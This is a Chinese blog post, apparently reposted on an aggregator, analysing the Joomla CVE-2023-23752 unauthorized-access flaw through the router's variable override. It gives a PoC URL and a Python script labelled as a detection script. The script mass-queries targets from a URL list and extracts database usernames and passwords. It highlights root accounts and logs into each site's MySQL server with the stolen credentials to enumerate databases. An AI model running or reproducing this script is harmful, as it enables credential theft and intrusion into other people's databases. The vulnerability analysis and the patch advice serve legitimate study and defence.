Joomla未授权漏洞分析

这篇具有很好参考价值的文章主要介绍了Joomla未授权漏洞分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

  1. 漏洞环境前置

Joomla版本

4.0.0 <= Joomla <= 4.2.7

  1. 漏洞复现

Poc:

http://127.0.0.1:8026/api/index.php/v1/config/application?public=true
joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档
  1. 漏洞分析:

该漏洞产生的主要原因是在路由匹配的过程中,产生了变量覆盖,导致可以绕过权限认证,首先从官方的修复方式入手:

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档
joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

根据官网的修复方式可知,通过array_key_exists函数,对数组$query进行判断,如果存在“public”键,则进行销毁。所以问题就出现在libraries/src/Router/ApiRouter.php#parseApiRoute方法。

在libraries/src/Router/ApiRouter.php#parseApiRoute方法中通过uri::getInstance()->getQuery(true)将public转换成数组,并存入变量$query中:

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

紧接着跳入,一个for循环对当前route进行遍历,经过请求方式的判断,之后会对访问路径进行正则匹配判断路径是否合法:

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

getRegex()的作用时获取router数组里面的路由。

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档
joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

POC(/api/index.php/v1/config/application?public=true)访问的路由正好在route数组中。

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

进入if语句之后将v1/config/application的默认配置赋值给数组变量vars,

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

此时数组变量vars值为:

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

这个时候$route->getRouteVariables()的值为空,不会进入for循环,之后获取v1/config/application的Controller赋值给变量$controller.

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

重点:之后使用array_merge()函数将$vars数据和$query数组进行合并,在这过程种$vars的public的值覆盖掉$query中public的值,最后赋值给$vars,此时$vars中的public的结果为true

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档
joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档
joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

最后经过return进行返回,获取route

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

接下来就是使用route['vars']['public']进行权限判断,经过上面array_merge()函数的覆盖,route['vars']['public']的值为ture。所以能够进行权限越过。

joomla漏洞,PHP安全,php,安全,web安全,Powered by 金山文档

检测脚本:

'''
 CVE-2023-23752Joomla未授权访问漏洞
 ----by:FlynnAAAA
'''
import re

import requests
import threading
import json
import pymysql
threadLock = threading.Lock()

def urlsGet(url):
    timeout = 5
    #超时设置为3s

    result = url.split("//")[1]  # 分割字符串并选择第二部分
    IP=result.split(":")[0]
    #print(IP)
    url=url+"/api/index.php/v1/config/application?public=true"
    try:
        get_response = requests.get(url=url,timeout=timeout)
        if "sitename" in get_response.text:
            l_str = json.loads(get_response.text)
            l_str_data=l_str['data']

            print(url)
            for key in l_str_data:
               attributes=key['attributes']
               for key in attributes:
                    if key=="user":
                        print("证号: "+attributes[key])
                        user=attributes[key]
                        if user=="root":
                            print("值得注意!!!!!")
                    if key=="password":
                        print("密码: "+attributes[key])
                        password=attributes[key]
                    if key=="db":
                        print("数据库名字: "+attributes[key])
                        db=attributes[key]
                    if key=="dbtype":
                        print("数据库种类: "+attributes[key])
                        db=attributes[key]

            try:
                db_link = pymysql.connect(host=IP,user=user,password=password,database=db)
                print("连接成功")
                cursor = db_link .cursor()
                sql = "show databases;"
                cursor.execute(sql)
                # 获取查询结果
                results = cursor.fetchall()
                # 处理查询结果
                for row in results:
                    print(row)
                cursor.close()
                db_link.close()


            except Exception as e:
                print("连接失败")
                pass
        with open("example.txt", "w") as f:
            # 将变量写入文件
            f.write(url)


    except Exception as e:
        # threadLock.acquire()  # 同步锁,用于异步写入,避免同时写入出现错误
        value3 = url + " -->失败"
        print(value3);
        pass


if __name__ == '__main__':
    with open('urlsGetResult.txt', 'r', encoding='utf-8') as fp:
        urls = fp.readlines()
        for url in urls:
            if url.find("http") == 0:
                url = url
            else:
                url = "http://"+url

            url = url.replace("\n", "")
            urlsGet(url)
            #t = threading.Thread(target=urlsGet, args=(url,))  # 注意传入的参数一定是一个元组!
            #t.start()
  1. 总结:

修复建议:

  1. 升级到最新版本
    https://github.com/joomla/joomla-cms/releases/tag/4.2.8

  1. 禁止数据库外联,原因是该漏洞会泄露数据库连接用户名、密码。文章来源地址https://www.toymoban.com/news/detail-609747.html

到了这里,关于Joomla未授权漏洞分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 智能合约安全分析,Vyper 重入锁漏洞全路径分析

    7 月 30 日 21:10 至 7 月 31 日 06:00 链上发生大规模攻击事件,导致多个 Curve 池的资金损失。漏洞的根源都是由于特定版本的 Vyper 中出现的重入锁故障。 通过对链上交易数据初步分析,我们对其攻击的交易进行整理归纳,并对攻击流程进一步的分析,由于攻击涉及多个交易池。

    2024年02月09日
    浏览(46)
  • 【网络安全】CVE漏洞分析以及复现

    漏洞详情 Shiro 在路径控制的时候,未能对传入的 url 编码进行 decode 解码,导致攻击者可以绕过过滤器,访问被过滤的路径。 漏洞影响版本 Shiro 1.0.0-incubating 对应 Maven Repo 里面也有 【一一帮助安全学习,所有资源获取一一】 ①网络安全学习路线 ②20份渗透测试电子书 ③安全

    2024年02月06日
    浏览(48)
  • 【网络安全】本地提权漏洞分析

    CVE-2023-21752 是 2023 年开年微软第一个有 exploit 的漏洞,原本以为有利用代码会很好分析,但是结果花费了很长时间,难点主要了两个:漏洞点定位和漏洞利用代码分析,欢迎指正。 根据官方信息,该漏洞是 Windows Backup Service 中的权限提升漏洞,经过身份认证的攻击者可利用此

    2024年02月01日
    浏览(84)
  • 本地提权漏洞分析【网络安全】

    CVE-2023-21752 是 2023 年开年微软第一个有 exploit 的漏洞,原本以为有利用代码会很好分析,但是结果花费了很长时间,难点主要了两个:漏洞点定位和漏洞利用代码分析,欢迎指正。 根据官方信息,该漏洞是 Windows Backup Service 中的权限提升漏洞,经过身份认证的攻击者可利用此

    2024年02月04日
    浏览(52)
  • Java安全之SnakeYaml漏洞分析与利用

    SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。 yaml基本语法 : 大小写敏感 使用缩进表示层级关系 缩进只允许使用空格 # 表示注释 支持对象、数组、纯量这3种数据结构 示例 yaml对象: yaml数组: 意思是 companies 属性是一个数

    2024年02月04日
    浏览(39)
  • Tcsec安全研究院|fastjson漏洞分析

    fastjson 是一个 Java 库,可用于将 Java 对象转换为其 JSON 表示形式。它还可以用于将 JSON 字符串转换为等效的 Java 对象。Fastjson 可以处理任意的 Java 对象,包括没有源代码的预先存在的对象。 java 的核心就是对象的操作,fastjson 同样遵循这个原则利用get、set操作对象。将 User 对

    2024年02月13日
    浏览(48)
  • MS14-068 漏洞分析—不安全的PAC

    这是一个危害较高的漏洞:只需要一个域内的普通用户的账户密码,便可拿到域控的权限 建议看本文章前,先把之前写的 NTLM与kerberos认证体系详解 这篇文章看完。 利用伪造的高权限的PAC来获取一个带有高权限PAC的TGT。 (关于pac是什么可以看完上面的那个文章) 在我们的AS_R

    2023年04月25日
    浏览(36)
  • [JAVA安全]CVE-2022-33980命令执行漏洞分析

    在 i春秋的漏洞靶标上看见了此漏洞,所以前来分析一下漏洞原理,比较也是去年 7月的漏洞。 漏洞描述:Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在

    2024年02月15日
    浏览(42)
  • 某C2鸡肋漏洞分析:你的CS安全吗?

    CobaltStrike是一个知名的红队命令与控制框架,采用 Beacon - TeamServer - Client 架构。TeamServer存在受限路径穿越写文件与反序列化漏洞,可以被认证后客户端恶意利用。Client存在反序列化漏洞,可以被RogueCS攻击。 由于这个软件的特殊性,我们需要想想什么才是漏洞: 直接攻击Te

    2024年01月20日
    浏览(38)
  • 网络安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过 toJSONString 和 parseObject/parse 来实现序列化和反序列化。 使用 对于序列化的方法 toJSONString() 有多个重载形式。 SerializeFeature : 通过设置

    2024年02月08日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包